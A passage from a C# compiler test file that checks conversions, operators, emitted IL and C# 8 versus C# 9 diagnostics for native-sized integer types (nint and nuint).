comp.builtInOperators.GetSimpleBuiltInOperators(operatorKind, builder, skipNativeIntegerOperators);
var operators = builder.ToImmutableAndFree();
int expectedSigned = skipNativeIntegerOperators ? 0 : 1;
int expectedUnsigned = skipNativeIntegerOperators ? 0 : (operatorKind == UnaryOperatorKind.UnaryMinus) ? 0 : 1;
verifyOperators(operators, (op, signed) => isNativeInt(op.OperandType, signed), expectedSigned, expectedUnsigned);
verifyOperators(operators, (op, signed) => isNullableNativeInt(op.OperandType, signed), expectedSigned, expectedUnsigned);
}
static void verifyBinaryOperators(CSharpCompilation comp, BinaryOperatorKind operatorKind, bool skipNativeIntegerOperators)
{
var builder = ArrayBuilder<BinaryOperatorSignature>.GetInstance();
comp.builtInOperators.GetSimpleBuiltInOperators(operatorKind, builder, skipNativeIntegerOperators);
var operators = builder.ToImmutableAndFree();
int expected = skipNativeIntegerOperators ? 0 : 1;
verifyOperators(operators, (op, signed) => isNativeInt(op.LeftType, signed), expected, expected);
verifyOperators(operators, (op, signed) => isNullableNativeInt(op.LeftType, signed), expected, expected);
}
static void verifyOperators<T>(ImmutableArray<T> operators, Func<T, bool, bool> predicate, int expectedSigned, int expectedUnsigned)
{
Assert.Equal(expectedSigned, operators.Count(op => predicate(op, true)));
Assert.Equal(expectedUnsigned, operators.Count(op => predicate(op, false)));
}
static bool isNativeInt(TypeSymbol type, bool signed)
{
return type.IsNativeIntegerType &&
type.SpecialType == (signed ? SpecialType.System_IntPtr : SpecialType.System_UIntPtr);
}
static bool isNullableNativeInt(TypeSymbol type, bool signed)
{
return type.IsNullableType() && isNativeInt(type.GetNullableUnderlyingType(), signed);
}
}
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInConversions_CSharp8(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var sourceB =
@"class B : A
{
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.M1",
@"{
// Code size 59 (0x3b)
.maxstack 1
.locals init (nint? V_0,
nuint? V_1)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ret
}");
verifier.VerifyIL("B.M2",
@"{
// Code size 95 (0x5f)
.maxstack 1
.locals init (int? V_0,
nint? V_1,
uint? V_2,
nuint? V_3)
IL_0000: ldarg.0
IL_0001: conv.i
IL_0002: stsfld ""nint A.F1""
IL_0007: ldarg.1
IL_0008: conv.u
IL_0009: stsfld ""nuint A.F2""
IL_000e: ldarg.2
IL_000f: stloc.0
IL_0010: ldloca.s V_0
IL_0012: call ""bool int?.HasValue.get""
IL_0017: brtrue.s IL_0024
IL_0019: ldloca.s V_1
IL_001b: initobj ""nint?""
IL_0021: ldloc.1
IL_0022: br.s IL_0031
IL_0024: ldloca.s V_0
IL_0026: call ""int int?.GetValueOrDefault()""
IL_002b: conv.i
IL_002c: newobj ""nint?..ctor(nint)""
IL_0031: stsfld ""nint? A.F3""
IL_0036: ldarg.3
IL_0037: stloc.2
IL_0038: ldloca.s V_2
IL_003a: call ""bool uint?.HasValue.get""
IL_003f: brtrue.s IL_004c
IL_0041: ldloca.s V_3
IL_0043: initobj ""nuint?""
IL_0049: ldloc.3
IL_004a: br.s IL_0059
IL_004c: ldloca.s V_2
IL_004e: call ""uint uint?.GetValueOrDefault()""
IL_0053: conv.u
IL_0054: newobj ""nuint?..ctor(nuint)""
IL_0059: stsfld ""nuint? A.F4""
IL_005e: ret
}");
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInOperators_CSharp8(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var sourceB =
@"class B : A
{
static void Main()
{
_ = -F1;
_ = +F2;
_ = -F3;
_ = +F4;
_ = F1 * F1;
_ = F2 / F2;
_ = F3 * F1;
_ = F4 / F2;
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.Main",
@"{
// Code size 143 (0x8f)
.maxstack 2
.locals init (nint? V_0,
nuint? V_1,
System.IntPtr V_2,
System.UIntPtr V_3)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ldsfld ""nint A.F1""
IL_003f: pop
IL_0040: ldsfld ""nint A.F1""
IL_0045: pop
IL_0046: ldsfld ""nuint A.F2""
IL_004b: ldsfld ""nuint A.F2""
IL_0050: div.un
IL_0051: pop
IL_0052: ldsfld ""nint? A.F3""
IL_0057: stloc.0
IL_0058: ldsfld ""nint A.F1""
IL_005d: stloc.2
IL_005e: ldloca.s V_0
IL_0060: call ""bool nint?.HasValue.get""
IL_0065: brfalse.s IL_006f
IL_0067: ldloca.s V_0
IL_0069: call ""nint nint?.GetValueOrDefault()""
IL_006e: pop
IL_006f: ldsfld ""nuint? A.F4""
IL_0074: stloc.1
IL_0075: ldsfld ""nuint A.F2""
IL_007a: stloc.3
IL_007b: ldloca.s V_1
IL_007d: call ""bool nuint?.HasValue.get""
IL_0082: brfalse.s IL_008e
IL_0084: ldloca.s V_1
IL_0086: call ""nuint nuint?.GetValueOrDefault()""
IL_008b: ldloc.3
IL_008c: div.un
IL_008d: pop
IL_008e: ret
}");
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F3;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F3").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F4;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F4").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F1").WithArguments("native-sized integers", "9.0").WithLocation(9, 13),
// (10,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F2 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F2 / F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 13),
// (11,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F3 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F3 * F1").WithArguments("native-sized integers", "9.0").WithLocation(11, 13),
// (12,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F4 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F4 / F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 13));
}
[Fact]
public void BuiltInConversions_UnderlyingTypes()
{
var source =
@"class A
{
static System.IntPtr F1;
static System.UIntPtr F2;
static System.IntPtr? F3;
static System.UIntPtr? F4;
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
var diagnostics = new[]
{
// (9,18): error CS0266: Cannot implicitly convert type 'System.IntPtr' to 'long'. An explicit conversion exists (are you missing a cast?)
// long x = F1;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F1").WithArguments("System.IntPtr", "long").WithLocation(9, 18),
// (10,19): error CS0266: Cannot implicitly convert type 'System.UIntPtr' to 'ulong'. An explicit conversion exists (are you missing a cast?)
// ulong y = F2;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F2").WithArguments("System.UIntPtr", "ulong").WithLocation(10, 19),
// (11,19): error CS0266: Cannot implicitly convert type 'System.IntPtr?' to 'long?'. An explicit conversion exists (are you missing a cast?)
// long? z = F3;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F3").WithArguments("System.IntPtr?", "long?").WithLocation(11, 19),
// (12,20): error CS0266: Cannot implicitly convert type 'System.UIntPtr?' to 'ulong?'. An explicit conversion exists (are you missing a cast?)
// ulong? w = F4;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "F4").WithArguments("System.UIntPtr?", "ulong?").WithLocation(12, 20),
// (16,14): error CS0266: Cannot implicitly convert type 'int' to 'System.IntPtr'. An explicit conversion exists (are you missing a cast?)
// F1 = x;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "x").WithArguments("int", "System.IntPtr").WithLocation(16, 14),
// (17,14): error CS0266: Cannot implicitly convert type 'uint' to 'System.UIntPtr'. An explicit conversion exists (are you missing a cast?)
// F2 = y;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "y").WithArguments("uint", "System.UIntPtr").WithLocation(17, 14),
// (18,14): error CS0266: Cannot implicitly convert type 'int?' to 'System.IntPtr?'. An explicit conversion exists (are you missing a cast?)
// F3 = z;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "z").WithArguments("int?", "System.IntPtr?").WithLocation(18, 14),
// (19,14): error CS0266: Cannot implicitly convert type 'uint?' to 'System.UIntPtr?'. An explicit conversion exists (are you missing a cast?)
// F4 = w;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "w").WithArguments("uint?", "System.UIntPtr?").WithLocation(19, 14)
};
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Fact]
public void BuiltInOperators_UnderlyingTypes()
{
var source =
@"#pragma warning disable 649
class A
{
static System.IntPtr F1;
static System.UIntPtr F2;
static System.IntPtr? F3;
static System.UIntPtr? F4;
static void Main()
{
F1 = -F1;
F2 = +F2;
F3 = -F3;
F4 = +F4;
F1 = F1 * F1;
F2 = F2 / F2;
F3 = F3 * F1;
F4 = F4 / F2;
}
}";
var diagnostics = new[]
{
// (10,14): error CS0023: Operator '-' cannot be applied to operand of type 'IntPtr'
// F1 = -F1;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-F1").WithArguments("-", "System.IntPtr").WithLocation(10, 14),
// (11,14): error CS0023: Operator '+' cannot be applied to operand of type 'UIntPtr'
// F2 = +F2;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+F2").WithArguments("+", "System.UIntPtr").WithLocation(11, 14),
// (12,14): error CS0023: Operator '-' cannot be applied to operand of type 'IntPtr?'
// F3 = -F3;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "-F3").WithArguments("-", "System.IntPtr?").WithLocation(12, 14),
// (13,14): error CS0023: Operator '+' cannot be applied to operand of type 'UIntPtr?'
// F4 = +F4;
Diagnostic(ErrorCode.ERR_BadUnaryOp, "+F4").WithArguments("+", "System.UIntPtr?").WithLocation(13, 14),
// (14,14): error CS0019: Operator '*' cannot be applied to operands of type 'IntPtr' and 'IntPtr'
// F1 = F1 * F1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F1 * F1").WithArguments("*", "System.IntPtr", "System.IntPtr").WithLocation(14, 14),
// (15,14): error CS0019: Operator '/' cannot be applied to operands of type 'UIntPtr' and 'UIntPtr'
// F2 = F2 / F2;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F2 / F2").WithArguments("/", "System.UIntPtr", "System.UIntPtr").WithLocation(15, 14),
// (16,14): error CS0019: Operator '*' cannot be applied to operands of type 'IntPtr?' and 'IntPtr'
// F3 = F3 * F1;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F3 * F1").WithArguments("*", "System.IntPtr?", "System.IntPtr").WithLocation(16, 14),
// (17,14): error CS0019: Operator '/' cannot be applied to operands of type 'UIntPtr?' and 'UIntPtr'
// F4 = F4 / F2;
Diagnostic(ErrorCode.ERR_BadBinaryOps, "F4 / F2").WithArguments("/", "System.UIntPtr?", "System.UIntPtr").WithLocation(17, 14)
};
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false, false)]
[InlineData(true, false)]
[InlineData(false, true)]
[InlineData(true, true)]
public void BuiltInConversions_NativeIntegers(bool useCompilationReference, bool useLatest)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var sourceB =
@"class B : A
{
static void M1()
{
long x = F1;
ulong y = F2;
long? z = F3;
ulong? w = F4;
}
static void M2(int x, uint y, int? z, uint? w)
{
F1 = x;
F2 = y;
F3 = z;
F4 = w;
}
}";
comp = CreateCompilation(sourceB, references: new[] { AsReference(comp, useCompilationReference) }, parseOptions: useLatest ? TestOptions.Regular9 : TestOptions.Regular8);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.M1",
@"{
// Code size 59 (0x3b)
.maxstack 1
.locals init (nint? V_0,
nuint? V_1)
IL_0000: ldsfld ""nint A.F1""
IL_0005: pop
IL_0006: ldsfld ""nuint A.F2""
IL_000b: pop
IL_000c: ldsfld ""nint? A.F3""
IL_0011: stloc.0
IL_0012: ldloca.s V_0
IL_0014: call ""bool nint?.HasValue.get""
IL_0019: brfalse.s IL_0023
IL_001b: ldloca.s V_0
IL_001d: call ""nint nint?.GetValueOrDefault()""
IL_0022: pop
IL_0023: ldsfld ""nuint? A.F4""
IL_0028: stloc.1
IL_0029: ldloca.s V_1
IL_002b: call ""bool nuint?.HasValue.get""
IL_0030: brfalse.s IL_003a
IL_0032: ldloca.s V_1
IL_0034: call ""nuint nuint?.GetValueOrDefault()""
IL_0039: pop
IL_003a: ret
}");
verifier.VerifyIL("B.M2",
@"{
// Code size 95 (0x5f)
.maxstack 1
.locals init (int? V_0,
nint? V_1,
uint? V_2,
nuint? V_3)
IL_0000: ldarg.0
IL_0001: conv.i
IL_0002: stsfld ""nint A.F1""
IL_0007: ldarg.1
IL_0008: conv.u
IL_0009: stsfld ""nuint A.F2""
IL_000e: ldarg.2
IL_000f: stloc.0
IL_0010: ldloca.s V_0
IL_0012: call ""bool int?.HasValue.get""
IL_0017: brtrue.s IL_0024
IL_0019: ldloca.s V_1
IL_001b: initobj ""nint?""
IL_0021: ldloc.1
IL_0022: br.s IL_0031
IL_0024: ldloca.s V_0
IL_0026: call ""int int?.GetValueOrDefault()""
IL_002b: conv.i
IL_002c: newobj ""nint?..ctor(nint)""
IL_0031: stsfld ""nint? A.F3""
IL_0036: ldarg.3
IL_0037: stloc.2
IL_0038: ldloca.s V_2
IL_003a: call ""bool uint?.HasValue.get""
IL_003f: brtrue.s IL_004c
IL_0041: ldloca.s V_3
IL_0043: initobj ""nuint?""
IL_0049: ldloc.3
IL_004a: br.s IL_0059
IL_004c: ldloca.s V_2
IL_004e: call ""uint uint?.GetValueOrDefault()""
IL_0053: conv.u
IL_0054: newobj ""nuint?..ctor(nuint)""
IL_0059: stsfld ""nuint? A.F4""
IL_005e: ret
}");
}
[WorkItem(3259, "https://github.com/dotnet/csharplang/issues/3259")]
[Theory]
[InlineData(false)]
[InlineData(true)]
public void BuiltInOperators_NativeIntegers(bool useCompilationReference)
{
var sourceA =
@"public class A
{
public static nint F1;
public static nuint F2;
public static nint? F3;
public static nuint? F4;
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
F1 = -F1;
F2 = +F2;
F3 = -F3;
F4 = +F4;
F1 = F1 * F1;
F2 = F2 / F2;
F3 = F3 * F1;
F4 = F4 / F2;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var verifier = CompileAndVerify(comp);
verifier.VerifyIL("B.Main",
@"{
// Code size 247 (0xf7)
.maxstack 2
.locals init (nint? V_0,
nint? V_1,
nuint? V_2,
nuint? V_3,
System.IntPtr V_4,
System.UIntPtr V_5)
IL_0000: ldsfld ""nint A.F1""
IL_0005: neg
IL_0006: stsfld ""nint A.F1""
IL_000b: ldsfld ""nuint A.F2""
IL_0010: stsfld ""nuint A.F2""
IL_0015: ldsfld ""nint? A.F3""
IL_001a: stloc.0
IL_001b: ldloca.s V_0
IL_001d: call ""bool nint?.HasValue.get""
IL_0022: brtrue.s IL_002f
IL_0024: ldloca.s V_1
IL_0026: initobj ""nint?""
IL_002c: ldloc.1
IL_002d: br.s IL_003c
IL_002f: ldloca.s V_0
IL_0031: call ""nint nint?.GetValueOrDefault()""
IL_0036: neg
IL_0037: newobj ""nint?..ctor(nint)""
IL_003c: stsfld ""nint? A.F3""
IL_0041: ldsfld ""nuint? A.F4""
IL_0046: stloc.2
IL_0047: ldloca.s V_2
IL_0049: call ""bool nuint?.HasValue.get""
IL_004e: brtrue.s IL_005b
IL_0050: ldloca.s V_3
IL_0052: initobj ""nuint?""
IL_0058: ldloc.3
IL_0059: br.s IL_0067
IL_005b: ldloca.s V_2
IL_005d: call ""nuint nuint?.GetValueOrDefault()""
IL_0062: newobj ""nuint?..ctor(nuint)""
IL_0067: stsfld ""nuint? A.F4""
IL_006c: ldsfld ""nint A.F1""
IL_0071: ldsfld ""nint A.F1""
IL_0076: mul
IL_0077: stsfld ""nint A.F1""
IL_007c: ldsfld ""nuint A.F2""
IL_0081: ldsfld ""nuint A.F2""
IL_0086: div.un
IL_0087: stsfld ""nuint A.F2""
IL_008c: ldsfld ""nint? A.F3""
IL_0091: stloc.0
IL_0092: ldsfld ""nint A.F1""
IL_0097: stloc.s V_4
IL_0099: ldloca.s V_0
IL_009b: call ""bool nint?.HasValue.get""
IL_00a0: brtrue.s IL_00ad
IL_00a2: ldloca.s V_1
IL_00a4: initobj ""nint?""
IL_00aa: ldloc.1
IL_00ab: br.s IL_00bc
IL_00ad: ldloca.s V_0
IL_00af: call ""nint nint?.GetValueOrDefault()""
IL_00b4: ldloc.s V_4
IL_00b6: mul
IL_00b7: newobj ""nint?..ctor(nint)""
IL_00bc: stsfld ""nint? A.F3""
IL_00c1: ldsfld ""nuint? A.F4""
IL_00c6: stloc.2
IL_00c7: ldsfld ""nuint A.F2""
IL_00cc: stloc.s V_5
IL_00ce: ldloca.s V_2
IL_00d0: call ""bool nuint?.HasValue.get""
IL_00d5: brtrue.s IL_00e2
IL_00d7: ldloca.s V_3
IL_00d9: initobj ""nuint?""
IL_00df: ldloc.3
IL_00e0: br.s IL_00f1
IL_00e2: ldloca.s V_2
IL_00e4: call ""nuint nuint?.GetValueOrDefault()""
IL_00e9: ldloc.s V_5
IL_00eb: div.un
IL_00ec: newobj ""nuint?..ctor(nuint)""
IL_00f1: stsfld ""nuint? A.F4""
IL_00f6: ret
}");
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F1 = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 14),
// (6,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F2 = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 14),
// (7,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F3 = -F3;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F3").WithArguments("native-sized integers", "9.0").WithLocation(7, 14),
// (8,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F4 = +F4;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F4").WithArguments("native-sized integers", "9.0").WithLocation(8, 14),
// (9,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F1 = F1 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 * F1").WithArguments("native-sized integers", "9.0").WithLocation(9, 14),
// (10,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F2 = F2 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F2 / F2").WithArguments("native-sized integers", "9.0").WithLocation(10, 14),
// (11,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F3 = F3 * F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F3 * F1").WithArguments("native-sized integers", "9.0").WithLocation(11, 14),
// (12,14): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F4 = F4 / F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F4 / F2").WithArguments("native-sized integers", "9.0").WithLocation(12, 14));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_01(bool useCompilationReference, bool lifted)
{
string typeSuffix = lifted ? "?" : "";
var sourceA =
$@"public class A
{{
public static nint{typeSuffix} F1;
public static nuint{typeSuffix} F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = +F1;
_ = -F1;
_ = ~F1;
_ = +F2;
_ = ~F2;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F1").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = -F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "-F1").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = ~F1;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "~F1").WithArguments("native-sized integers", "9.0").WithLocation(7, 13),
// (8,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = +F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "+F2").WithArguments("native-sized integers", "9.0").WithLocation(8, 13),
// (9,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = ~F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "~F2").WithArguments("native-sized integers", "9.0").WithLocation(9, 13));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_02(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
++F;
F++;
--F;
F--;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// ++F;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "++F").WithArguments("native-sized integers", "9.0").WithLocation(5, 9),
// (6,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F++;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F++").WithArguments("native-sized integers", "9.0").WithLocation(6, 9),
// (7,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// --F;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "--F").WithArguments("native-sized integers", "9.0").WithLocation(7, 9),
// (8,9): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// F--;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F--").WithArguments("native-sized integers", "9.0").WithLocation(8, 9));
}
[Theory]
[CombinatorialData]
[WorkItem(42941, "https://github.com/dotnet/roslyn/issues/42941")]
public void NativeIntegerOperatorsCSharp8_03(bool useCompilationReference, [CombinatorialValues("nint", "nint?", "nuint", "nuint?")] string type)
{
var sourceA =
$@"public class A
{{
public static {type} F1, F2;
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
var refA = AsReference(comp, useCompilationReference);
var sourceB =
@"class B : A
{
static void Main()
{
_ = F1 + F2;
_ = F1 - F2;
_ = F1 * F2;
_ = F1 / F2;
_ = F1 % F2;
_ = F1 < F2;
_ = F1 <= F2;
_ = F1 > F2;
_ = F1 >= F2;
_ = F1 == F2;
_ = F1 != F2;
_ = F1 & F2;
_ = F1 | F2;
_ = F1 ^ F2;
_ = F1 << 1;
_ = F1 >> 1;
}
}";
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
comp.VerifyEmitDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular8);
comp.VerifyEmitDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 + F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 + F2").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 - F2;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "F1 - F2").WithArguments("native-sized integers", "9.0").WithLocation(6, 13),
// (7,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = F1 * F2;
